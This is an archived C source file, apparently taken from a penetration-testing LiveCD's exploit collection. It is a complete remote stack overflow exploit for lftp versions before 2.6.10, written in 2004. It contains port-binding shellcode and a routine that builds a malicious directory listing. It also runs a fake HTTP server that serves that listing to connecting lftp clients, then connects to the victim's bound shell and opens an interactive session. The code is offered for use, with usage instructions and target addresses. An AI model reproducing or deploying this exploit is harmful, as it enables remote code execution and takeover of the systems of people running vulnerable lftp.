home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / ftp / lftp / 2004.01.13.lftp.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  11KB  |  466 lines

  1. /*
  2.  * lftp remote stack-based overflow exploit by Li0n7 voila fr
  3.  *
  4.  * Vulnerability discovered by Ulf Harnhammar Ulf.Harnhammar.9485 student uu se
  5.  *
  6.  * Lftp versions later than 2.6.10 are prone to a remotly exploitable stack-based
  7.  * overflow in try_netscape_proxy() and try_squid_eplf( (src/HttpDir.cc). This
  8.  * bad coded proof-of-concept demonstrates the exploitation by exploiting the
  9.  * vulnerable function try_netscape_proxy() (HttpDir.cc:358) and it needs more targets
  10.  * to be efficient. Please note that this vulnerability is really hard to exploit
  11.  * since lots of parameters come into play and are different from a platform to another,
  12.  * for we have to overwrite some variables and registers before overwriting eip.
  13.  * With some time and lot of patience, you should find your own parameters by using
  14.  * GDB. Params to edit are marked with a '!' in the POC code. Moreover, I have edited
  15.  * Bighawk's port binding shellcode not to contain any white character such as \r,\t,\v,
  16.  * \f,\n or \20 because we are exploiting a sscanf function.
  17.  *
  18.  * usage: ./lftp-exp [-f <path>][-p <port>][-r <ret>][-t <target>]
  19.  * -f <path>: create <path>index.html
  20.  * -p <port>: run a fake lftp server on port <port> (default: 80)
  21.  * -r <ret>: return address you would like to use
  22.  * -t <target>: choose the target among the platforms available
  23.  * Platforms supported are:
  24.  * num: 0 - slack 9.0 - 0xbffff770
  25.  *
  26.  * For instance: ./lftp-exp -p 80 -t 0
  27.  * ./lftp-exp -f / -t 0
  28.  *
  29.  * A poil !
  30.  */
  31.  
  32. #include <stdio.h>
  33. #include <unistd.h>
  34. #include <netdb.h>
  35. #include <netinet/in.h>
  36. #include <errno.h>
  37. #include <fcntl.h>
  38. #include <unistd.h>
  39.  
  40. #define BUFFERSIZE 117 /*!*/
  41. #define SIZE 256
  42.  
  43. #define D_BACK 26112
  44. #define D_RET 0xbffff770
  45. #define D_PORT 80
  46.  
  47. #define DUMMY1 0xbffff140 /*!*/
  48. #define DUMMY2 0xbffff810 /*!*/
  49.  
  50. #define OK "cd ok, cwd=/\n"
  51.  
  52.  
  53. /* Edited bighawk 78 bytes portbinding shellcode */
  54. /* size: 80 bytes */
  55. /* Does not contain any white character i.e \r,\t,\v,\f,\n,\20 */
  56.  
  57. char shellcode[] =
  58. "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0"
  59. "\x66\x52\x50\xcd\x80\x43\x66\x53\x89\xe1\x6a\x10"
  60. "\x51\x50\x89\xe1\x52\x50\xb0\x66\xcd\x80\x89\xe1"
  61. "\xb3\x04\xb0\x66\xcd\x80\x43\xb0\x66\xcd\x80\x89"
  62. "\xd9\x93\xb0\x3f\xcd\x80\x49\x79\xf9\x52\x68\x6e"
  63. "\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53"
  64. "\x89\xe1\xb0\x28\x2c\x1d\xcd\x80";
  65.  
  66. char badc0ded[] =
  67. {0x20,0x09,0x0a,0x0b,0x0c,0x0d,0x00};
  68.  
  69. char *lftp_versions[] =
  70. {
  71.   "lftp/2.3",
  72.   "lftp/2.4.9",
  73.   "lftp/2.5.2",
  74.   "lftp/2.6.0",
  75.   "lftp/2.6.3",
  76.   "lftp/2.6.4",
  77.   "lftp/2.6.5",
  78.   "lftp/2.6.6",
  79.   "lftp/2.6.7",
  80.   "lftp/2.6.8",
  81.   "lftp/2.6.9",
  82.    
  83. };
  84.  
  85. unsigned long ret_addr = D_RET;
  86.  
  87. int back_connection(long host);
  88. int check_shellcode(char *host);
  89. void check_version();
  90. char * build(char *host);
  91. int create_file(char *path);
  92. void wait_connection(int port);
  93. long resolve_host(u_char *host_name);
  94. void die(char *argv);
  95.  
  96. struct os_ret_addr
  97. {
  98.   int num;
  99.   char *plat;
  100.   long ret;
  101. };
  102.  
  103. struct os_ret_addr exp_os[]=
  104. {
  105.   {0,"slack 9.0",0xbffff770},
  106.   {0,NULL,0}
  107. };
  108.  
  109.  
  110. int
  111. main(int argc,char *argv[])
  112. {
  113.   int i, option, port = D_PORT;
  114.   long host = 0;
  115.   char * option_list = "f:p:r:t:", path[128];
  116.  
  117.   opterr = 0;
  118.  
  119.   if (argc < 2) die(argv[0]);
  120.   while((option = getopt(argc,argv,option_list)) != -1)
  121.     switch(option)
  122.     {
  123.       case 'f':
  124.       strncpy(path,optarg,sizeof(path)-1);
  125.       path[sizeof(path)-1] = '\0';
  126.       create_file(path);
  127.       return 0;
  128.       case 'p':
  129.       port = atoi(optarg);
  130.       if(port > 65535 || port < 0) exit(-1);
  131.       break;
  132.       case 'r':
  133.       ret_addr = atol(optarg);
  134.       if(ret_addr > 0xbfffffff || ret_addr < 0x00000000) exit(1);
  135.       break;
  136.       case 't':
  137.       for(i=0; exp_os[i].plat != NULL; i++)
  138.       if(atoi(optarg) > i || atoi(optarg) < 0)
  139.       {
  140.         fprintf(stderr," Platforms supported are:\n");
  141.         for(i=0; exp_os[i].plat != NULL; i++)
  142.           fprintf(stderr," num: %i - %s - 0x%x\n",i,exp_os[i].plat,exp_os[i].ret);
  143.           exit(1);
  144.       }
  145.       ret_addr = exp_os[atoi(optarg)].ret;
  146.       break;
  147.       case '?':
  148.       fprintf(stderr,"[-] option \'%c\' invalid\n",optopt);
  149.       die(argv[0]);
  150.     }
  151.  
  152.   wait_connection(port);
  153.   return 0;
  154. }
  155.  
  156.  
  157. int
  158. check_shellcode(char *host)
  159. {
  160.   int i,j;
  161.   for(i=0;i<strlen(shellcode);i++)
  162.     for(j=0;j<strlen(badc0ded);j++)
  163.       if(shellcode[i] == badc0ded[j])
  164.       {
  165.       fprintf(stderr,"[%s] badc0ded shellcode!\n",host);
  166.       return -1;
  167.       }
  168.   return 0;
  169. }
  170.  
  171.  
  172. void
  173. check_version(char *version)
  174. {
  175.   int i;
  176.   for(i=0;i<sizeof(lftp_versions);i++)
  177.     if(!strcmp(lftp_versions[i],version))
  178.     {
  179.       fprintf(stdout,"(vulnerable).\n");
  180.       return;
  181.     }
  182.   fprintf(stdout,"(not vulnerable).\n");
  183.   return;
  184. }
  185.  
  186.  
  187. char
  188. *build(char *host)
  189. {
  190.   char *buffer,*ptr;
  191.   int i;
  192.   unsigned long *addr_ptr;
  193.  
  194.   fprintf(stdout,"[%s] Building evil string to send (using ret 0x%x)...\n",host,ret_addr);
  195.  
  196.   buffer = (char *)malloc(SIZE+1);
  197.  
  198.   if(!buffer)
  199.   {
  200.     fprintf(stderr,"[-] Can't allocate memory,exiting...\n");
  201.     exit(1);
  202.   }
  203.  
  204.   ptr = buffer;
  205.   memset(ptr,0x90,BUFFERSIZE-strlen(shellcode));
  206.   ptr += BUFFERSIZE-strlen(shellcode);
  207.  
  208.   if((i = check_shellcode(host)) < 0) exit(1);
  209.  
  210.   for(i=0;i<strlen(shellcode);i++)
  211.     *ptr++ = shellcode[i];
  212.  
  213.   /* You might need to modify the padding too */
  214.   addr_ptr = (long *)ptr;
  215.   for(i=0;i<24;i++)
  216.    *(addr_ptr++) = DUMMY1;
  217.   for(i=0;i<8;i++)
  218.    *(addr_ptr++) = DUMMY2;
  219.   *(addr_ptr++) = ret_addr; /* EIP */
  220.   *(addr_ptr++) = DUMMY2;
  221.  
  222.   ptr = (char *)addr_ptr;
  223.   *ptr = 0x0;
  224.   return buffer;
  225. }
  226.  
  227.  
  228. int
  229. create_file(char *path)
  230. {
  231.   int fd;
  232.   char buffer[512], file[256];
  233.   ssize_t written;
  234.  
  235.   memset(file,0,256);
  236.   memset(buffer,0,512);
  237.  
  238.   strcat(file,path);
  239.   strcat(file,"index.html");
  240.  
  241.   fd = open(file,O_WRONLY | O_CREAT | O_TRUNC,0644);
  242.   if(fd < 0)
  243.   {
  244.     fprintf(stderr,"[-] %s\n",strerror(errno));
  245.     exit(0);
  246.   }
  247.   snprintf(buffer,512,"<a href=\"/\">empty</a> Fri May 30 10:09:06 2001 %s\n",build("+"));
  248.   written = write(fd,buffer,512);
  249.   if(written != 512)
  250.   {
  251.     fprintf(stderr,"[-] %s\n",strerror(errno));
  252.     exit(0);
  253.   }
  254.   close(fd);
  255.   fprintf(stdout,"[+] File %s successfuly created.\n",file);
  256.   return 0;
  257. }
  258.  
  259.  
  260. int
  261. back_connection(long host)
  262. {
  263.   struct sockaddr_in s;
  264.   u_char sock_buf[4096];
  265.   fd_set fds;
  266.   int fd,size;
  267.   char *command="/bin/uname -a ; /usr/bin/id;\n";
  268.  
  269.   fd = socket(AF_INET, SOCK_STREAM, 0);
  270.   if (fd < 0)
  271.   {
  272.     fprintf(stderr,"[-] %s\n",strerror(errno));
  273.     exit(1);
  274.   }
  275.  
  276.   s.sin_family = AF_INET;
  277.   s.sin_port = htons(D_BACK);
  278.   s.sin_addr.s_addr = host;
  279.  
  280.   if (connect(fd, (struct sockaddr *)&s, sizeof(struct sockaddr)) == -1)
  281.   {
  282.     fprintf(stderr,"[-] %s\n",strerror(errno));
  283.     close(fd);
  284.     return 0;
  285.   }
  286.  
  287.   fprintf(stdout, "[+] Let's rock on!\n");
  288.  
  289.   size = send(fd, command, strlen(command), 0);
  290.   if(size < 0)
  291.   {
  292.     fprintf(stderr,"[-] %s\n",strerror(errno));
  293.     close(fd);
  294.     exit(1);
  295.   }
  296.  
  297.   for (;;)
  298.   {
  299.     FD_ZERO(&fds);
  300.     FD_SET(0, &fds);
  301.     FD_SET(fd, &fds);
  302.  
  303.     if (select(255, &fds, NULL, NULL, NULL) == -1)
  304.     {
  305.       fprintf(stderr,"[-] %s\n",strerror(errno));
  306.       close(fd);
  307.       exit(1);
  308.     }
  309.  
  310.     memset(sock_buf, 0, sizeof(sock_buf));
  311.  
  312.     if (FD_ISSET(fd, &fds))
  313.     {
  314.       if (recv(fd, sock_buf, sizeof(sock_buf), 0) == -1)
  315.       {
  316.       fprintf(stderr, "[-] Connection closed by remote host,exiting...\n");
  317.       close(fd);
  318.       exit(1);
  319.       }
  320.  
  321.       fprintf(stderr, "%s", sock_buf);
  322.     }
  323.  
  324.     if (FD_ISSET(0, &fds))
  325.     {
  326.       read(0, sock_buf, sizeof(sock_buf));
  327.       write(fd, sock_buf, strlen(sock_buf));
  328.     }
  329.   }
  330.   return 0;
  331. }
  332.  
  333.  
  334. void
  335. wait_connection(int port)
  336. {
  337.   struct sockaddr_in s;
  338.   int size, fd, fd2, i, r, cancel = 0;
  339.   char data[1024], version[32], request[512];
  340.   char *ptr;
  341.   long host = 0;
  342.  
  343.   memset(data,0,1024);
  344.  
  345.   fprintf(stdout,"[+] Setting up a fake HTTP server...\n");
  346.  
  347.   fd = socket(AF_INET,SOCK_STREAM,0);
  348.   if(fd < 0)
  349.   {
  350.     fprintf(stderr,"[-] %s\n",strerror(errno));
  351.     exit(1);
  352.   }
  353.  
  354.   s.sin_family = AF_INET;
  355.   s.sin_port = htons(port);
  356.   s.sin_addr.s_addr = 0;
  357.  
  358.   bind(fd,(struct sockaddr *) &s,sizeof(s));
  359.   listen(fd,1);
  360.   size = sizeof(s);
  361.   
  362.   fprintf(stdout,"[+] Awaiting connection on port %i\n",port);
  363.  
  364.   while(1)
  365.   {
  366.     cancel = 0;
  367.     fd2 = accept(fd,(struct sockaddr *) &s, &size);
  368.  
  369.     if(!fork())
  370.     {
  371.       close(fd);
  372.       while(1)
  373.       {
  374.       memset(data,0,1024);
  375.       r = read(fd2,data,1024);
  376.       if((ptr = strstr(data,"User-Agent: lftp")) != NULL)
  377.       {
  378.         if(strstr(data,"HEAD"))
  379.         {
  380.           fprintf(stdout,"[%s] HEAD request received.\n",inet_ntoa(s.sin_addr));
  381.           size = send(fd2, OK, strlen(OK), 0);
  382.           if(size < 0)
  383.           {
  384.           fprintf(stderr,"[-] %s\n",strerror(errno));
  385.           close(fd2);
  386.           exit(1);
  387.           }
  388.         }
  389.         if(strstr(data,"GET"))
  390.         {
  391.           memset(request,0,512);
  392.           memset(version,0,32);
  393.  
  394.           strncpy(version,ptr+12,10);
  395.           version[sizeof(version)-1] = '\0';
  396.  
  397.           fprintf(stdout,"[%s] GET request received.\n",inet_ntoa(s.sin_addr));
  398.           fprintf(stdout,"[%s] Remote version of lftp: %s ",inet_ntoa(s.sin_addr),version);
  399.           check_version(version);
  400.  
  401.           snprintf(request,512,"HTTP/1.1 200 OK\n"
  402.                  "Server: thttpd/2.21 20apr2001\n"
  403.                  "Content-Type: text/html\n"
  404.                  "Date: Sun, 21 Dec 2003 16:29:44 GMT\n"
  405.                  "Last-Modified: Sun, 21 Dec 2003 16:23:41 GMT\n"
  406.                  "Accept-Ranges: bytes\n"
  407.                  "Connection: close\n\n"
  408.                  "<a href=\"/\">empty</a>\tFri May 30 10:09:06 2001 %s\n",build((char*)inet_ntoa(s.sin_addr)));
  409.  
  410.           size = send(fd2, request, strlen(request), 0);
  411.           if(size < 0)
  412.           {
  413.           fprintf(stderr,"[-] %s\n",strerror(errno));
  414.           close(fd2);
  415.           exit(1);
  416.           }
  417.           sleep(2);
  418.           host = resolve_host((char *)inet_ntoa(s.sin_addr));
  419.           back_connection(host);
  420.           cancel = 1;
  421.           break;
  422.         }
  423.       }
  424.       }
  425.       if(cancel == 1) break;
  426.     }
  427.     close(fd2);
  428.   }
  429.   return;
  430. }
  431.  
  432.  
  433. long resolve_host(u_char *host_name)
  434. {
  435.   struct in_addr addr;
  436.   struct hostent *host_ent;
  437.  
  438.   addr.s_addr = inet_addr(host_name);
  439.   if (addr.s_addr == -1)
  440.   {
  441.     host_ent = gethostbyname(host_name);
  442.     if (!host_ent) return(0);
  443.     memcpy((char *)&addr.s_addr, host_ent->h_addr, host_ent->h_length);
  444.   }
  445.  
  446.   return(addr.s_addr);
  447. }
  448.  
  449.  
  450. void
  451. die(char *argv)
  452. {
  453.   int i;
  454.   fprintf(stdout,"\t Remote exploit for lftp < 2.6.10 by Li0n7 \n");
  455.   fprintf(stdout,"\n usage: %s [-f <path>][-p <port>][-r <ret>][-t <target>]\n",argv);
  456.   fprintf(stdout," -f <path>: create <path>index.html\n");
  457.   fprintf(stdout," -p <port>: run a fake lftp server on port <port> (default: 80)\n");
  458.   fprintf(stdout," -r <ret>: return address you would like to use\n");
  459.   fprintf(stdout," -t <target>: choose the target among the platforms available\n");
  460.   fprintf(stdout," Platforms supported are:\n");
  461.   for(i=0; exp_os[i].plat != NULL; i++)
  462.     fprintf(stderr," num: %i - %s - 0x%x\n",i,exp_os[i].plat,exp_os[i].ret);
  463.   fprintf(stdout,"\n Vulnerability discovered by Ulf Harnhammar <Ulf.Harnhammar.9485@student.uu.se> \n");
  464.   fprintf(stdout," Contact me: Li0n7@voila.fr\n\n");
  465.   exit(1);
  466. }